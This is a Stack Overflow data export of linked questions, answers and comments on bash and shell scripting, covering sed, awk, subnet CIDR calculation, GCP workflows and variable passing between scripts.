has comment: http://stackoverflow.com/comment/135494131
accepted answer of: http://stackoverflow.com/q/76857263
has comment: http://stackoverflow.com/comment/135493997
type: AcceptedAnswer
downvote count: 0
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/76857263

http://stackoverflow.com/comment/135391223
comment on: http://stackoverflow.com/q/76792437
score: 0
has text: @jdweng thansk for sharing above URL really this was very helpful. i think hope-so you not get much cleared with my above question/script actually i want to know the free avaibale IP address with CIDR in exacting Vnet? (let say a new requiement are come in my project for create new subnet in exacting Vnet with 172.28.x.x/25 so these thing now we are doing with help of this url) and now i want to do automatically with help of script https://www.davidc.net/sites/default/subnets/subnets.html (now manually i used this url for deviding with one ip/cidr subnet to multiple ip/cider subnet
type: QuestionComment
type: Comment

http://stackoverflow.com/q/76825948
has comment: http://stackoverflow.com/comment/135441907
tagged with: nagios
has comment: http://stackoverflow.com/comment/135439966
has comment: http://stackoverflow.com/comment/135441938
score: 0
type: Question
has comment: http://stackoverflow.com/comment/135439945
answer count: 0
tagged with: shell
type: UnansweredQuestion
has title: syntax error: operand expected [error token is "/ "]
has comment: http://stackoverflow.com/comment/135439628
has body: DSKUSDPERCENT=$(($DISKUSD * 100 / $limit)) throughs error like syntax error: operand expected (error token is &quot;/ &quot;) where limit=$OPTARG defined in Process command line options here I am not able to get the value of $limit Error: check_disk.sh: line: 119 * 100 / : syntax error: operand expected (error token is &quot;/ &quot;)
has comment: http://stackoverflow.com/comment/135440209
has comment: http://stackoverflow.com/comment/135439887
tagged with: bash

http://stackoverflow.com/comment/135469181
type: QuestionComment
comment on: http://stackoverflow.com/q/76842785
type: Comment
score: 0
has text: Yes, that's answering it! Thanks, did not find it myself in search...

http://stackoverflow.com/a/76805384
type: Answer
has comment: http://stackoverflow.com/comment/135404826
has body: use below to replace comma with space,dot or anything #!/bin/sh read filename #replace all_occurrence(g) of comma with . sed 's/,/./g' "$filename" >> output.csv
upvote count: 0
score: -3
downvote count: 3
answers question: http://stackoverflow.com/q/76805101

http://stackoverflow.com/comment/135387966
comment on: http://stackoverflow.com/q/76792437
type: Comment
score: 0
has text: @jdweng Thansk for your reply, know that the subnet should not be grater then 32,as above i given the value of varibale $i after that executong the script output is getting "No free IP CIDR range is available in the virtual network 'network-01-vnet" so what value should i passed to know that xyz CIDR is free in my exacting vnet subnet use.
type: QuestionComment

http://stackoverflow.com/comment/135537841
has text: `-version` has been going to stderr forever refer https://bugs.java.com/bugdatabase/view_bug?bug_id=4380614 in recent versions of Java you can use `--version` - this goes to stdout.
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76878154

http://stackoverflow.com/q/76712749
tagged with: workflow
has body: I have multiple pig jobs in a GCP workflow template with dependencies as below: export env=dev export REGION=us-east4 gcloud dataproc workflow-templates create test1 --region=$REGION gcloud dataproc workflow-templates set-cluster-selector test1 \ --region=$REGION \ --cluster-labels=goog-dataproc-cluster-uuid=XXXXXXXXXXXXXXXXXXX gcloud dataproc workflow-templates add-job pig \ --file=FILE, -f gs://dnb-p2d-d-sto-g-inbound/steps/pig_job1.sh \ --region=$REGION \ --step-id=pig_job1 \ --workflow-template=test1 gcloud dataproc workflow-templates add-job pig \ --file=FILE, -f gs://dnb-p2d-d-sto-g-inbound/steps/pig_job2.sh \ --region=$REGION \ --step-id=pig_job2 \ --start-after pig_job1 \ --workflow-template=test1 gcloud dataproc workflow-templates add-job pig \ --file=FILE, -f gs://dnb-p2d-d-sto-g-inbound/steps/pig_job3.sh \ --region=$REGION \ --step-id=pig_job3 \ --start-after pig_job2 \ --workflow-template=test1 gcloud dataproc workflow-templates instantiate test1 --region=$REGION Is there any provision to execute GCP workflow from point of failure? What I mean to say is that, suppose if step-id=pig_job2 fails due to some reason, is there any way that we can execute this workflow from step-id=pig_job2 only. (without creating new workflow). I tried to use: https://stackoverflow.com/questions/71716824/gcp-workflows-easy-way-to-re-run-failed-execution but it was not useful. I am expecting step-id=pig_job2 to get executed directly and then remaining jobs as per dependencies.
linked to: http://stackoverflow.com/q/71716824
answer count: 0
tagged with: google-cloud-functions
tagged with: google-cloud-platform
favorite count: 0
score: 2
has title: Is there any provision to execute GCP workflow template from point of failure?
upvote count: 2
downvote count: 0
type: Question
tagged with: shell
tagged with: google-workflows
type: UnansweredQuestion

http://stackoverflow.com/comment/135382720
type: QuestionComment
type: Comment
has text: A 24 bit mask is 255.255.255.0. Still why are you using the IP segment and the mask size as the same number 172.28.24.0/24. suppose $i = 40? It would be 172.28.40.0/40 Masks cannot be greater than 32.
score: 0
comment on: http://stackoverflow.com/q/76792437

http://stackoverflow.com/q/76761336
has comment: http://stackoverflow.com/comment/135327564
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/135334953
accepted answer: http://stackoverflow.com/a/76762890
answer count: 2
score: 0
type: Question
tagged with: shell
has answer: http://stackoverflow.com/a/76762890
has answer: http://stackoverflow.com/a/76763225
has title: Issue with bash mv command
has comment: http://stackoverflow.com/comment/135327548
tagged with: linux
possible better answer: http://stackoverflow.com/a/76763225
has body: So I am trying two write a .sh script that fetches gtk themes from github to /tmp/ and then moves them into another folder to sort out icons from themes and so on. My problem ist after downloading the files, when I mv them, the output should be multiple folders like ( Kali-Dark Kali-Light ) and the folder should contain ( gtk-2.0 gtk-3.0 ) but my actual output is ( gtk-2.0 gtk-3.0 Kali-Light). So for some weird reason it moves the inner of Kali-Dark to the folder but Kali-Light is moved as wanted as a folder. My Shell script looks like #!/usr/bin/env bash git clone https://gitlab.com/kalilinux/packages/kali-themes /tmp/MyLinux/download/Kali-Theme mkdir /tmp/MyLinux/sort mv /tmp/MyLinux/download/Kali-Theme/share/themes/Kali-Dark /tmp/MyLinux/sort/themes/ mv /tmp/MyLinux/download/Kali-Theme/share/themes/Kali-Light /tmp/MyLinux/sort/themes/ And the output of ls is gnome-shell gtk-2.0 gtk-3.0 gtk-4.0 index.theme Kali-Light What it should look like Kali-Dark Kali-Light
tagged with: bash

http://stackoverflow.com/comment/135361810
type: Comment
has text: Are you trying to concatenate strings like `"%denelli-0[1-5]d.example.com"` and save them in the variable *HOST*? Are *p* and *d* variables too? How should the end result look like? Please EDIT your question if you add additional info.
score: 0
comment on: http://stackoverflow.com/q/76781297
type: QuestionComment

http://stackoverflow.com/comment/135535403
score: 3
comment on: http://stackoverflow.com/q/76881285
type: QuestionComment
has text: It doesn't return to the previous value. It just never changes globally. There are no global environment variables. It changes locally, for that script while it's running. When the script is finished, its local environment is gone.
type: Comment

http://stackoverflow.com/comment/135287934
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76724923
type: Comment
has text: In bash you need the ampersand at end of line so code will run in background and continue running when you app terminates. See : https://stackoverflow.com/questions/63958384/running-linux-shell-command-in-background-with-always-fails

http://stackoverflow.com/a/76817864
type: Answer
has comment: http://stackoverflow.com/comment/135425015
has comment: http://stackoverflow.com/comment/135443004
accepted answer of: http://stackoverflow.com/q/76817170
downvote count: 0
type: AcceptedAnswer
upvote count: 1
has comment: http://stackoverflow.com/comment/135424648
answers question: http://stackoverflow.com/q/76817170
score: 1
has body: I don't think you can get the filepath returned from explorer without using some fancy windows code. But you can simulate the same thing with VBA. Here's a working code sample below. Note, it doesn't find partial mathches like search=msquery does, but that's an easy tweak. Let me know if you need that. Function SearchForFilesInFolderTree(filename As String, filepath As String, fSearchSubFolders As Boolean) As String Dim fso As New Scripting.FileSystemObject Dim fld As Scripting.Folder Dim sfld As Scripting.Folder If fso.FileExists(filepath & filename) = True Then SearchForFilesInFolderTree = filepath Exit Function End If If fSearchSubFolders = True Then Set fld = fso.GetFolder(filepath) For Each sfld In fld.SubFolders SearchForFilesInFolderTree = SearchForFilesInFolderTree(filename, sfld.Path & "\", True) If SearchForFilesInFolderTree <> "" Then Exit Function DoEvents Next sfld Else SearchForFilesInFolderTree = "" End If End Function Here is some example code on how to call the code above: Sub TestSearch() Dim filename As String Dim filepath As String Dim FoundFolder As String Dim fSearchSubFolders As Boolean fSearchSubFolders = True ' set to false if you only want to search the filepath folder and not subfolders filename = "test.xlsx" ' this is the file you want to search for. filepath = "c:\temp" ' This is the root folder of your search If Right(Trim(filepath), 1) <> "\" Then filepath = Trim(filepath) & "\" FoundFolder = SearchForFilesInFolderTree(filename, filepath, fSearchSubFolders) If FoundFolder <> "" Then MsgBox "File " & filename & " found at: " & FoundFolder Else MsgBox "File " & filename & " not found in: " & filepath End If End Sub
has comment: http://stackoverflow.com/comment/135424630

http://stackoverflow.com/comment/135378747
comment on: http://stackoverflow.com/q/76724923
type: QuestionComment
type: Comment
score: 0
has text: I tried it's not working :( it still stops the execution of the script even if I put the ampersand: string scriptPath = "/path/to/script.sh &";

http://stackoverflow.com/comment/135339962
score: 0
comment on: http://stackoverflow.com/a/76762847
has text: looks like PythonScript@0 not supported for running those script?
type: Comment
type: AnswerComment

http://stackoverflow.com/a/76817834
type: Answer
has body: You want to match the first apples but sed is greedy and matches the second, instead. If you could specify that .* shall not match apples things would be much easier. You can do that if you first replace the first apples by a single character that cannot be found elsewhere in the same line, say a newline. Example with any sed (output prefixed with -|): sed "s/apples/\n/;s/named.*\n/named $new_text1 apples/" "$file" -| Student named Conor has 10 apples. Docter says, apples are good for health. Note that if a line contains apples but is not matching named.*apples, apples is replaced by a newline and not restored. If this can happen you can use: sed "/named.*apples/s/apples/\n/;s/named.*\n/named $new_text1 apples/" "$file" A bit more generic: pre="named"; post="apples"; repl="Conor has 10 "; file="input.txt" sed "/$pre.*$post/s/$post/\n/;s/$pre.*\n/$repl$post/" "$file" -| Student Conor has 10 apples. Docter says, apples are good for health. Note that the replacement text now contains a final space. Note also that the pre and post text strings shall not contain characters that would be interpreted as regex operators (periods, stars...) and repl shall not contain replacement operators (ampersands...). If they do they must be escaped (post="apples\.").
answers question: http://stackoverflow.com/q/76817121
score: 0

http://stackoverflow.com/a/76786870
score: 0
has body: Untested given no sample input/output in the question but you probably want something like this (assuming no file names contain newlines): find . -type f | awk ' BEGIN { while ( (getline url < "data.csv") > 0 ) { tgtUrls[url] } } NR == FNR { ARGV[ARGC++] = $0 next } { for ( url in tgtUrls ) { line = $0 while ( pos = index(line,url) ) { if ( substr(line,pos+length(url),1) !~ /[[:alnum:]_]/ ) { print FILENAME next } line = substr(line,pos+1) } } } ' but you need to think about whether that string (pos = index($0,url)) + regexp (substr($0,pos+length(url),1) !~ /[[:alnum:]_]/) comparison combination is adequate to check if the URL really matches in the current line and isn't a substring of a longer URL, e.g. http://example.com falsely matching http://example.company.net, for your purposes and come up with some sample input/output that will test all of the rainy day cases you can have in your data where false matches are possible. The above will take a while to run given the index() comparison will happen in the order of 60,000 URLs * 2 million files * the number of lines in each file times.
answers question: http://stackoverflow.com/q/76781400
type: Answer

http://stackoverflow.com/comment/135427106
comment on: http://stackoverflow.com/q/76817193
score: 0
type: QuestionComment
has text: I have pasted a part of my json file, might be that's the reason. You are correct, considering only this is the content we will have outer curly braces
type: Comment

http://stackoverflow.com/comment/135473559
type: Comment
comment on: http://stackoverflow.com/q/76845788
has text: quotes don't nest
score: 1
type: QuestionComment

http://stackoverflow.com/comment/135284029
has text: Oh, I didn't watch, I'm sorry
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76735489

http://stackoverflow.com/q/76736625
has comment: http://stackoverflow.com/comment/135289622
has answer: http://stackoverflow.com/a/76736689
type: UnansweredQuestion
score: 1
upvote count: 1
tagged with: bash
answer count: 1
has title: bash recursion seems to stop for no reason
favorite count: 0
has body: I am trying to write a script that does this: Suppose, I have a directory named testdir that looks like this: **testdir**/ ├── **jfjfjddsdsdsds** (directory) ├── jfjfjfjf (file) ├── kdskskk ├── kkkkkkkkk ├── **sadadasad** │ ├── assd │ ├── **kakak** │ ├── **ksja** │ ├── **lklksl** │ └── lskal └── **skdjsjlsj** ├── **djfldjlfjd** │ ├── eiuru │ ├── rhhrhshs │ ├── rhrhshs │ └── shhdshsd ├── jjskskk ├──** kdjskdjfks** ├── kjjrjjrj └── kjskjd The file names are completely random I want to write a script, that takes a directory path and renames every subdirectory and every file to look like this: **testdir**/ ├── **dir1** ├── file1 ├── file2 ├── file3 ├── **dir2** │ ├── file1 │ ├── **dir1** │ ├── **dir2** │ ├── **dir3** │ └── file2 └── **dir3** ├── **dir1** │ ├── file1 │ ├── file2 │ ├── file3 │ └── file4 ├── file1 ├──** dir2** ├── file2 └── file3 So it renames every directory in order - first one becomes "dir1", second one "dir2", etc. Same for files - "file1", "file2", and it also writes the depth of a file from the beginning directory. And it should be done recursively for every directory, resetting the "file counter" and "directory counter" in the process. My script looks like this: #!/bin/bash #see executed comands when run set -xeuo pipefail rename() { # $1 - directory path, $2 - directory depth fileCounter=1 dirCounter=1 #enter a directory cd "$1" for file in * do if -f "$file" then #if its a regular file, write its depth and rename it echo "(I am file, my depth is $2)" > "$file" mv "$file" "file$fileCounter" 2>/dev/null #increase the counter (( fileCounter++ )) elif -d "$file" then #its a directory - rename and call recursion mv "$file" "dir$dirCounter" 2>/dev/null #call recursion with depth + 1 rename "dir$dirCounter" "(( $2 + 1 ))" #increase the counter (( dirCounter++ )) #else #do nothing, its not a regular file or a directory fi done } if $# -gt 1 then echo "Too many arguments >:(" exit 1 fi if ! -d "$1" then echo "The directory doesn't e…
tagged with: scripting
downvote count: 0
type: Question
tagged with: shell

http://stackoverflow.com/q/76810435
has comment: http://stackoverflow.com/comment/135412060
has comment: http://stackoverflow.com/comment/135412034
has comment: http://stackoverflow.com/comment/135414340
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/76819923
has comment: http://stackoverflow.com/comment/135415972
score: 0
tagged with: linux
tagged with: bash
has comment: http://stackoverflow.com/comment/135423270
has comment: http://stackoverflow.com/comment/135416012
answer count: 1
has title: Linux - How to read data (containing multi line values) from a csv file and store to an array
has body: I have a test.csv file with the below content: test 123 abc 456 def 789 hello hkdsfhhif kjsdfkjdshfkj jhkjsdfhksdfhksdh hey 218es@#$9#RDS I wrote a shell script: while IFS=' ' read -ra array; do column+=(&quot;${array[0]}&quot;) column2+=(&quot;${array[1]}&quot;) done &lt; test.csv printf '%s\n' &quot;${column[@]}&quot; &quot;${column2[@]}&quot; The whole reason behind this is - column[1] is the key and column2[1] is its respective value. Everything works as expected, except for the row - hello and its multi line value -hkdsfhhi.. Now my question is, how to read the data from csv if the data contains a multi line value.
type: Question
tagged with: shell

http://stackoverflow.com/comment/135333939
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76764989
has text: See [here strings](https://www.gnu.org/software/bash/manual/bash.html#Here-Strings)

http://stackoverflow.com/comment/135306419
score: 0
has text: [Falsehoods about Names](https://www.kalzumeus.com/2010/06/17/falsehoods-programmers-believe-about-names/) and other [awesome falsehoods](https://github.com/kdeldycke/awesome-falsehood)
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76747469

http://stackoverflow.com/comment/135424648
type: AnswerComment
comment on: http://stackoverflow.com/a/76817864
score: 0
has text: If anyone knows why my "End Function" and "End Sub" appears outside the code blocks in my sample code, I'd appreciate it if you could tell me how to fix it.
type: Comment

http://stackoverflow.com/comment/135381689
has text: Please [edit] your question and review the tags you applied. Read their descriptions!
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76785187

http://stackoverflow.com/comment/135490938
comment on: http://stackoverflow.com/q/76855607
type: Comment
score: 0
has text: @Barmar OP added it
type: QuestionComment

http://stackoverflow.com/a/76772706
upvote count: 3
type: Answer
has body: Add the A flag in addition to double quotes and the @ flag: array=( &quot;${(@fA)$( your_command )}&quot; ) When the result of $( your_command ) contains no newline characters, the f flag won't be able to split the string and the result remains scalar, and a double quoted scalar expansion isn't removed from a list of words. The A flag converts the substitution to an array, even if it would otherwise be scalar. That allows the empty word to be removed, like how &quot;$var[@]&quot; doesn't expand anything for an empty array. In case you are okay with discarding any empty elements, you can omit some quotes: array=( ${(f)&quot;$( your_command )&quot;} )
downvote count: 0
answers question: http://stackoverflow.com/q/76772024
has comment: http://stackoverflow.com/comment/135346756
score: 3

http://stackoverflow.com/comment/135490732
comment on: http://stackoverflow.com/q/76855607
type: QuestionComment
type: Comment
has text: Does the Makefile change the `PATH` environment variable?
score: 0

http://stackoverflow.com/comment/135428460
comment on: http://stackoverflow.com/a/76819820
score: 0
has text: The example given in the question was using grep, so it makes sense to show how to achieve the goal with grep. I find it easier to read / understand the line using grep but that's just me. No doubt many other ways to do this as well.
type: Comment
type: AnswerComment

http://stackoverflow.com/a/76776657
answers question: http://stackoverflow.com/q/76775292
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/135404137
type: Answer
has body: Let's use the -exec option of find with a bash function (to_qual) that takes a parameter, removes the trailing .java and the leading ./, replaces all / with ., and prints the result. $ cd src $ to_qual() { f="${1%.*}"; f="${f#./}"; printf "%s\n" "${f////.}"; } $ export -f to_qual $ find -type f -name '*.java' -exec bash -c 'to_qual "$1"' _ {} \; SortGreater.SortGreater SortLess.SortLess
upvote count: 2

http://stackoverflow.com/q/76843593
tagged with: pass-by-reference
tagged with: bash
score: 1
has answer: http://stackoverflow.com/a/76855717
upvote count: 1
favorite count: 0
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/540298
has comment: http://stackoverflow.com/comment/135476922
tagged with: eval
has answer: http://stackoverflow.com/a/76849385
has body: Please notice that I'm talking about passing arguments by-ref to a script, not to a function. I already checked here and here and they discuss about passing arguments using functions. What I want is to call a script passing an argument to it and having the argument becoming a variable in the shell with the value assigned inside the script (which is exactly what happens with the read RESPONSE command, where RESPONSE becomes a variable in the current shell with the value assigned by the read command). I know that using functions like this (using local -n): #!/bin/bash function boo() { local -n ref=$1 ref="new" } SOME_VAR="old" echo $SOME_VAR boo SOME_VAR echo $SOME_VAR or like this (using eval): function booeval() { ref=$1 eval $(echo $ref=\"new\") } SOME_VAR="old" echo $SOME_VAR booeval SOME_VAR echo $SOME_VAR work as expected. But local (or declare/typedef) doesn't work outside of a function and eval seems to run in a subshell that when the script is over the variable doesn't survive in the shell. I wanted to have something like this: $ cat /tmp/test.sh #!/bin/bash ref=$1 eval $(echo "export $ref=\"new value\"") $ /tmp/test.sh VAR $ echo $VAR $ Any ideas?
downvote count: 0
has title: How to pass an argument to a script by ref in bash
has comment: http://stackoverflow.com/comment/135470336
type: Question
tagged with: shell
possible better answer: http://stackoverflow.com/a/76843948
has comment: http://stackoverflow.com/comment/135476236
answer count: 3
has answer: http://stackoverflow.com/a/76843948
accepted answer: http://stackoverflow.com/a/76855717

http://stackoverflow.com/comment/135349902
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/76774173
has text: See https://stackoverflow.com/questions/29613304/is-it-possible-to-escape-regex-metacharacters-reliably-with-sed
score: 0

http://stackoverflow.com/a/76849385
type: Answer
answers question: http://stackoverflow.com/q/76843593
has body: A 'by reference' is not supported by bash. There are a number of ways around it, using f.e. STDIO or using a separate file. The STDIO works simple if a single variable is used: parent_shell_var=$(bash script) and just echo the value you want exported up. A file can be used in this way: Parent script: #!/bin/bash hop=0 echo $hop bash child_script tempfile . tempfile rm tempfile echo $hop child_script: #!/bin/bash echo "hop=1" > "$1" These are very simplistic examples substitutes for the by-ref passing of arguments. These work for separate scripts as well as for subscripts.
score: 0

http://stackoverflow.com/q/76872740
linked to: http://stackoverflow.com/q/34937580
has title: Using awk to calculate ram usage from /proc/meminfo
type: Question
duplicate of: http://stackoverflow.com/q/34937580
tagged with: unix
has answer: http://stackoverflow.com/a/76873130
upvote count: 2
answer count: 2
tagged with: shell
possible better answer: http://stackoverflow.com/a/76873130
tagged with: linux
has body: I want to use awk only to calculate memory usage from /proc/meminfo file. I tried to do awk ‘NR==1 || NR==2 {print $2} it prints the 2nd column in the first 2 lines ( MemTotal and MemFree ) but I want to output the difference. Do you have any ideas?
has answer: http://stackoverflow.com/a/76872927
downvote count: 0
favorite count: 0
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/76872927
has comment: http://stackoverflow.com/comment/135520104
score: 2
tagged with: awk

http://stackoverflow.com/q/76850581
score: 0
type: Question
tagged with: shell
has comment: http://stackoverflow.com/comment/135481823
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135482143
has title: Reading yaml file in bash script and running commands with yaml-values as parameters
has comment: http://stackoverflow.com/comment/135481782
answer count: 2
has answer: http://stackoverflow.com/a/76850902
tagged with: bash
tagged with: yaml
has comment: http://stackoverflow.com/comment/135481912
tagged with: swagger
has body: I am trying to create a "codegen" script that read a .yaml file and generates api.ts files based on the values in the yaml files. I want to write my yaml-file like so: dbaas: url: http://rackerlabs.github.io/wadl2swagger/openstack/swagger/dbaas.json flavor-access: url: http://rackerlabs.github.io/wadl2swagger/openstack/swagger/flavor-access-v2.1.json The yaml-file can have any amount of entries, but its always in the "name".url format. Given this yaml I want the script to run the follwing commands: curl -k http://rackerlabs.github.io/wadl2swagger/openstack/swagger/dbaas.json -o dbaas-swagger.json then npx swagger-typescript-api -p dbaas-swagger.json -n dbaasApi.ts Then the same for flavor-access. This should then leave me with two api files: dbaasApi.ts and flavor-accessApi.ts I tried to get help from ChatGPT but its scripts keep giving this error from curl: curl: (3) URL using bad/illegal format or missing URL Here is the script it made: #!/bin/bash while IFS=: read -r key value; do if [[ "$key" =~ [a-zA-Z0-9_]+ ]]; then top_node="${key// /}" read -r url swagger_url="${url// /}" json_path="${top_node}-swagger.json" api_ts="${top_node}Api.ts" curl -k "$swagger_url" -o "$json_path" echo "Downloaded swagger JSON for $top_node" npx swagger-typescript-api -p "$json_path" -n "$api_ts" echo "Generated TypeScript API for $top_node" fi done < ./swagger-codegen.yaml
has answer: http://stackoverflow.com/a/76851247
has comment: http://stackoverflow.com/comment/135481996

http://stackoverflow.com/q/76845243
score: 0
type: Question
answer count: 0
tagged with: shell
tagged with: oracle-database
tagged with: unix
has title: Getting SQL query output "kpceinit:enter" when using SQL plus in Unix script to fire SQL query to Oracle 19c
has body: I am stuck on a random issue where I am getting SQL query output as "kpceinit:enter" The SQL query can be as simple as "select sysdate from dual" or when I am running any stored procedure. This error is randomly coming on any random query or stored procedure. But this is seen only when I am running the query using SQL plus in Unix shell script. The SQL query and the stored procedure we are running from years using SQL plus in Unix script. That doesn't changed. However the change was on Oracle server where a patch was deployed on Oracle server which is to remove optimisation on the NO CACHE Sequence. I believe this might be the issue but the DBA in my company states that there is no issues with this patching or on Oracle server. We stuck on this issue, and I tried finding this over internet and only thing I found is - Kpce is a module in Oracle Streams Async Queuing (AQ). Please help me out. Thanking you all in advance.
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135472669
has comment: http://stackoverflow.com/comment/135688191
tagged with: sqlplus

http://stackoverflow.com/q/76839109
answer count: 2
favorite count: 0
downvote count: 1
tagged with: img2pdf
has title: Converted images to pdf are too vibrant
type: Question
tagged with: macos
upvote count: 0
tagged with: shell
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/76839623
has answer: http://stackoverflow.com/a/76839636
has comment: http://stackoverflow.com/comment/135463421
tagged with: imagemagick
score: -1
has body: When I do img2pdf input.jpg -o output.pdf , the output pdf is too vibrant, and not a one-to-one with the image. I also tried it with ImageMagick and convert input.jpg output.pdf is also too vibrant. I was expecting a one-to-one like how MacOS' Create PDF does it, but I can't use it because I don't think it has a CLI equivalent, and I would rather not lock myself in with MacOS only tools. I need it to be usable on the CLI to automate several tasks with scripting. I just noticed the difference, and I've been searching for a couple of hours, but couldn't find an answer to my problem. Is this intentional? Or a bug? It's driving me mad!
has comment: http://stackoverflow.com/comment/135463541

http://stackoverflow.com/a/76852488
upvote count: 1
has body: I managed to hide the echo command using below script in Jenkins pipeline .. Anyone looking for this answer please follow below script: steps{ script{ sh "set +x && echo ${abc} | base64 --decode > abc.txt" xyz = sh(script: "cat abc.txt, returnStdout: true) } } Thanks
answers question: http://stackoverflow.com/q/76836431
type: Answer
score: 1
downvote count: 0

http://stackoverflow.com/comment/135311746
score: 2
type: Comment
comment on: http://stackoverflow.com/q/76751837
has text: `sed 's/Betty29.\{25\}//' foo.txt`
type: QuestionComment

http://stackoverflow.com/comment/135372216
has text: @NitinKumar, see [Difference between sh and Bash](https://stackoverflow.com/q/5725296/4154375).
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76786923
score: 0

http://stackoverflow.com/comment/135255963
comment on: http://stackoverflow.com/q/76718520
score: 1
type: QuestionComment
has text: Use an array to store options as: `KERNEL_CFG=(-kernel Image -append "root=/dev/vda1 nokaslr console=ttyAMA0 earlycon=pl011,mmio,0x09000000")` and put it in the command line as `"${KERNEL_CFG[@]}"` in place of `$KERNEL_CFG`.
type: Comment

concurrency
type: Tag
tag name: concurrency
tags question: http://stackoverflow.com/q/76845626
tags question: http://stackoverflow.com/q/78312733

http://stackoverflow.com/comment/135371098
type: QuestionComment
type: Comment
has text: Regarding `grep -E` - do you REALLY want each URL to be used as a partial regexp comparison (so, for example, every `.` in it would match any character) instead of a full-line or other literal string comparison? If your URL is `http://example.com` and one of your files contains `http://example.company.net` should that be treated as a match? Please [edit] your question to show a [mcve] with concise, testable sample input and expected output so we can help you.
comment on: http://stackoverflow.com/q/76781400
score: 0

http://stackoverflow.com/comment/135370943
type: QuestionComment
score: 0
type: Comment
comment on: http://stackoverflow.com/q/76786021
has text: Have you considered replacing your bash script with a system service ? I do not know what CentOS uses, but on SystemD based distributions, you should be able to create a "unit file" to start and restart automaticallly your java process, all managed by the system (including log saving).

http://stackoverflow.com/q/76805544
downvote count: 2
tagged with: command-line
upvote count: 5
tagged with: shell
has answer: http://stackoverflow.com/a/77410870
score: 3
tagged with: terminal
has title: Is there any documentation for the mouse scroll event escape sequences?
type: Question
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/c
answer count: 1
favorite count: 0
tagged with: vim
has body: Here is a simple program so that you can see what I mean: #include <termios.h> #include <unistd.h> #include <stdlib.h> #include <stdio.h> #include <ctype.h> #define ENABLE_ALT_SCREEN "\x1b[?1049h" #define DISABLE_ALT_SCREEN "\x1b[?1049l" #define ENABLE_ALT_SCREEN_SZ 8 #define DISABLE_ALT_SCREEN_SZ ENABLE_ALT_SCREEN_SZ /* https://invisible-island.net/xterm/ctlseqs/ctlseqs.html#h2-Mouse-Tracking */ #define ENABLE_MOUSE_TRACKING "\x1b[?1000h" #define DISABLE_MOUSE_TRACKING "\x1b[?1000l" #define ENABLE_MOUSE_TRACKING_SZ 8 #define DISABLE_MOUSE_TRACKING_SZ ENABLE_MOUSE_TRACKING_SZ struct termios orig_termios; void disable_raw_mode (void) { tcsetattr(STDIN_FILENO, TCSAFLUSH, &orig_termios); write(STDIN_FILENO, DISABLE_ALT_SCREEN,DISABLE_ALT_SCREEN_SZ); write(STDIN_FILENO, DISABLE_MOUSE_TRACKING, DISABLE_MOUSE_TRACKING_SZ); } void enable_raw_mode (void) { write(STDIN_FILENO, ENABLE_ALT_SCREEN,ENABLE_ALT_SCREEN_SZ); write(STDIN_FILENO, ENABLE_MOUSE_TRACKING, ENABLE_MOUSE_TRACKING_SZ); tcgetattr(STDIN_FILENO, &orig_termios); atexit(disable_raw_mode); struct termios raw = orig_termios; raw.c_iflag &= ~(BRKINT | INPCK | PARMRK | INLCR | IGNCR | ISTRIP | ICRNL | IXON); // raw.c_oflag &= ~(OPOST); raw.c_lflag &= ~(ECHO | ICANON | IEXTEN | ISIG); raw.c_cflag &= ~(CSIZE | PARENB); raw.c_cflag |= (CS8); tcsetattr(STDIN_FILENO, TCSAFLUSH, &raw); } int main (void) { enable_raw_mode(); char c; while ( read(STDIN_FILENO, &c, 1) == 1 && c != 'q') { if (iscntrl(c)) printf("%d\n", c); else printf("%d ('%c')\n", c, c); } return 0; } Notably, if you run script and then vim, and you scroll, none of the mouse escape sequences here are present. I am trying to catch mouse scroll events for my text editor similar to how vim does so. By non-deterministic, I mean that on a scroll event (down) the terminal will send \x1b[MaXX where X varies in encoding. Likewise, for mouse scroll event (up) it will send \x1b[M`XX, where X varies in encoding. Is there any documentation or knowledge that anyone has o…

http://stackoverflow.com/comment/135368742
comment on: http://stackoverflow.com/a/76785210
has text: @F.Hauri-GiveUpGitHub, as I explain these commands are build-in and developers have different ideas how to implement command.
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135334551
type: Comment
has text: I changed the code in the question to make it easier. input() non è necessario perché se eseguo direttamente da python i comandi funzionano. Non funzionano correttamente se li chiamo dallo script *.py
comment on: http://stackoverflow.com/q/76765373
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135513421
type: Comment
type: AnswerComment
score: 1
has text: Thank you so much markp-fuso, this is what I was looking for. The solution is more complicated than I expected, regarding the quite basic question... Indeed, the days of the month do not stop at day four. In fact, every single day between June 1st and August 31st is considered. As mentioned by you, the script does not work for the transition between the months, but I did this manually, which is not a big deal.
comment on: http://stackoverflow.com/a/76868232

http://stackoverflow.com/a/76772518
upvote count: 4
downvote count: 0
answers question: http://stackoverflow.com/q/76772024
type: Answer
has comment: http://stackoverflow.com/comment/135346270
score: 4
has body: I have no one line solution for your problem and I assume there is none. Your input has one delimiter so it is quite logical to evaluate to at least one empty element. In general you could store the command output in a variable and only split if not empty. But in your case it might be easier to just modify your if statement to if [[ -z &quot;${MeetingTitles[1]}&quot; ]; then Just check if the first element is empty. If you expect your command to return more elements but the first can be empty just check also that it is the only element. Also you might want to rethink the usage of (@f). With the '@' included any empty line in the command output will result in an empty array element which doesn't seem to be useful in your case. With only (f) empty lines (or more precisely consecutive delimiters which is new line here) do not create empty elements.

http://stackoverflow.com/a/76884423
has comment: http://stackoverflow.com/comment/135565085
